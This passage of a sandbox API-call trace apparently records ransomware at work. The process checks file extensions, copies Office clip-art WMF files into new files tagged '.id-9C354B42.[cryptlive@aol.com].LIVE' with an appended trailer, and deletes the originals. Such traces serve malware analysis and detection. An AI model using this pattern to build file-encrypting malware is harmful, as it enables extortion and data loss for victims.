lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString=".dbf") returned 4 [0139.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString=".1cd") returned 4 [0139.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString=".jpg") returned 4 [0139.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString=".doc") returned 4 [0139.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString=".docx") returned 5 [0139.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.682] lstrlenW (lpString=".pdf") returned 4 [0139.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString=".xls") returned 4 [0139.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.682] lstrlenW (lpString=".xlsx") returned 5 [0139.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.682] lstrlenW (lpString=".ppt") returned 4 [0139.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.682] lstrlenW (lpString=".zip") returned 4 [0139.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.682] lstrlenW (lpString=".rar") returned 4 [0139.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString=".bz2") returned 4 [0139.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.683] lstrlenW (lpString=".7z") returned 3 [0139.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.683] lstrlenW (lpString=".dbf") returned 4 [0139.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.683] lstrlenW (lpString=".1cd") returned 4 [0139.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.683] lstrlenW (lpString=".jpg") returned 4 [0139.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.683] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.683] lstrlenW (lpString="BS00174_.WMF") returned 12 [0139.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.696] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8366) returned 1 [0139.696] CloseHandle (hObject=0x3ac) returned 1 [0139.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0139.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.708] GetLastError () returned 0x0 [0139.708] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0139.713] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0139.714] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.714] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.714] SetEndOfFile (hFile=0x39c) returned 1 [0139.714] CloseHandle (hObject=0x39c) returned 1 [0139.714] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.714] SetEndOfFile (hFile=0x3ac) returned 1 [0139.716] CloseHandle (hObject=0x3ac) returned 1 [0139.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0139.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.717] lstrlenW (lpString=".doc") returned 4 [0139.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.717] lstrlenW (lpString=".docx") returned 5 [0139.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.717] lstrlenW (lpString=".pdf") returned 4 [0139.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.717] lstrlenW (lpString=".xls") returned 4 [0139.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.718] lstrlenW (lpString=".xlsx") returned 5 [0139.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.718] lstrlenW (lpString=".ppt") returned 4 [0139.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString=".zip") returned 4 [0139.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.718] lstrlenW (lpString=".rar") returned 4 [0139.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString=".bz2") returned 4 [0139.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString=".7z") returned 3 [0139.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString=".dbf") returned 4 [0139.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString=".1cd") returned 4 [0139.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString=".jpg") returned 4 [0139.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.718] lstrlenW (lpString=".doc") returned 4 [0139.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.718] lstrlenW (lpString=".docx") returned 5 [0139.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.719] lstrlenW (lpString=".pdf") returned 4 [0139.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString=".xls") returned 4 [0139.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.719] lstrlenW (lpString=".xlsx") returned 5 [0139.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.719] lstrlenW (lpString=".ppt") returned 4 [0139.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.719] lstrlenW (lpString=".zip") returned 4 [0139.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.719] lstrlenW (lpString=".rar") returned 4 [0139.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString=".bz2") returned 4 [0139.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString=".7z") returned 3 [0139.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.719] lstrlenW (lpString=".dbf") returned 4 [0139.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.719] lstrlenW (lpString=".1cd") returned 4 [0139.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0139.719] lstrlenW (lpString=".jpg") returned 4 [0139.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.720] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.720] lstrlenW (lpString="BS00184_.WMF") returned 12 [0139.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.720] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4976) returned 1 [0139.720] CloseHandle (hObject=0x3ac) returned 1 [0139.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0139.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.721] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.721] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.721] GetLastError () returned 0x0 [0139.721] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1370, lpOverlapped=0x0) returned 1 [0139.726] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0139.726] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.727] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.727] SetEndOfFile (hFile=0x39c) returned 1 [0139.727] CloseHandle (hObject=0x39c) returned 1 [0139.727] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.727] SetEndOfFile (hFile=0x3ac) returned 1 [0139.729] CloseHandle (hObject=0x3ac) returned 1 [0139.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0139.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.730] lstrlenW (lpString=".doc") returned 4 [0139.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.730] lstrlenW (lpString=".docx") returned 5 [0139.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.730] lstrlenW (lpString=".pdf") returned 4 [0139.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.730] lstrlenW (lpString=".xls") returned 4 [0139.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.730] lstrlenW (lpString=".xlsx") returned 5 [0139.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.730] lstrlenW (lpString=".ppt") returned 4 [0139.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.730] lstrlenW (lpString=".zip") returned 4 [0139.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.731] lstrlenW (lpString=".rar") returned 4 [0139.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString=".bz2") returned 4 [0139.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString=".7z") returned 3 [0139.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString=".dbf") returned 4 [0139.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString=".1cd") returned 4 [0139.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString=".jpg") returned 4 [0139.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString=".doc") returned 4 [0139.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString=".docx") returned 5 [0139.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.731] lstrlenW (lpString=".pdf") returned 4 [0139.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString=".xls") returned 4 [0139.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.731] lstrlenW (lpString=".xlsx") returned 5 [0139.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.731] lstrlenW (lpString=".ppt") returned 4 [0139.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.731] lstrlenW (lpString=".zip") returned 4 [0139.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.731] lstrlenW (lpString=".rar") returned 4 [0139.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.731] lstrlenW (lpString=".bz2") returned 4 [0139.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.732] lstrlenW (lpString=".7z") returned 3 [0139.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.732] lstrlenW (lpString=".dbf") returned 4 [0139.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.732] lstrlenW (lpString=".1cd") returned 4 [0139.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0139.732] lstrlenW (lpString=".jpg") returned 4 [0139.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.732] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.732] lstrlenW (lpString="BS00186_.WMF") returned 12 [0139.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.743] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12788) returned 1 [0139.743] CloseHandle (hObject=0x390) returned 1 [0139.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0139.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.744] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.744] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0139.745] GetLastError () returned 0x0 [0139.745] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0139.748] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0139.749] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.749] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.749] SetEndOfFile (hFile=0x1f8) returned 1 [0139.749] CloseHandle (hObject=0x1f8) returned 1 [0139.749] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.749] SetEndOfFile (hFile=0x390) returned 1 [0139.753] CloseHandle (hObject=0x390) returned 1 [0139.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0139.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.754] lstrlenW (lpString=".doc") returned 4 [0139.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.754] lstrlenW (lpString=".docx") returned 5 [0139.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.754] lstrlenW (lpString=".pdf") returned 4 [0139.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.754] lstrlenW (lpString=".xls") returned 4 [0139.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.754] lstrlenW (lpString=".xlsx") returned 5 [0139.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.754] lstrlenW (lpString=".ppt") returned 4 [0139.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.754] lstrlenW (lpString=".zip") returned 4 [0139.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.754] lstrlenW (lpString=".rar") returned 4 [0139.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString=".bz2") returned 4 [0139.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString=".7z") returned 3 [0139.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.755] lstrlenW (lpString=".dbf") returned 4 [0139.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.755] lstrlenW (lpString=".1cd") returned 4 [0139.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.755] lstrlenW (lpString=".jpg") returned 4 [0139.755] lstrcmpiW (lpString1=".jpg", 